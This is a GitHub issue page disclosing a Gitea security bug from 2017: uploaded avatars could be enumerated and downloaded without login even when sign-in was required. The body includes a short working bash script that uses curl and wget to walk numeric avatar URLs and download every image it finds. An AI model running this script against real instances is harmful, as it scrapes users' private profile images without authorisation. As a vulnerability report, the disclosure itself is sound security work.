Skip to content

Uploaded custom avatars enumerable and downloadable w/o login despite "Require Sign In View" being set #718

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed
2 of 5 tasks
ghost opened this issue Jan 22, 2017 · 0 comments · Fixed by #1049
Closed
2 of 5 tasks
Labels
topic/security Something leaks user information or is otherwise vulnerable. Should be fixed! type/bug
Milestone

Comments

@ghost
Copy link

ghost commented Jan 22, 2017

Description

Uploaded custom avatars remain enumerable by their numerical index without having to log in despite the setting "require sign in view" being set. This leaks information about local users (reverse image search, "real" profile pictures, etc) which is probably not intended. I suggest to require a login in this situtation.

#!/bin/bash
BASEURL=$1
BOUND=10000
check_http_status()
{
    local code=$(curl -o/dev/null --silent --head --write-out '%{http_code}' "$1")
    if (( code == 200 )) ; then
        return 0
    else
        return 1
    fi
}
for ((i=1;i<$BOUND;i++)); do
    URL="$BASEURL/avatars/$i"
    if check_http_status "$URL" ; then
        (wget -qO "$i" "$URL" &)
        echo -n +
    else
        echo -n _
    fi
done
echo

Use as:

./thescript https://your.private.gitea.instance.sexy
--- Want to back this issue? **[Post a bounty on it!](https://www.bountysource.com/issues/41210128-uploaded-custom-avatars-enumerable-and-downloadable-w-o-login-despite-require-sign-in-view-being-set?utm_campaign=plugin&utm_content=tracker%2F47456670&utm_medium=issues&utm_source=github)** We accept bounties via [Bountysource](https://www.bountysource.com/?utm_campaign=plugin&utm_content=tracker%2F47456670&utm_medium=issues&utm_source=github).
@lunny lunny added this to the 1.1.0 milestone Jan 22, 2017
@lunny lunny added topic/security Something leaks user information or is otherwise vulnerable. Should be fixed! type/bug labels Jan 22, 2017
@go-gitea go-gitea locked and limited conversation to collaborators Nov 23, 2020
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
topic/security Something leaks user information or is otherwise vulnerable. Should be fixed! type/bug
Projects
None yet
Development

Successfully merging a pull request may close this issue.

1 participant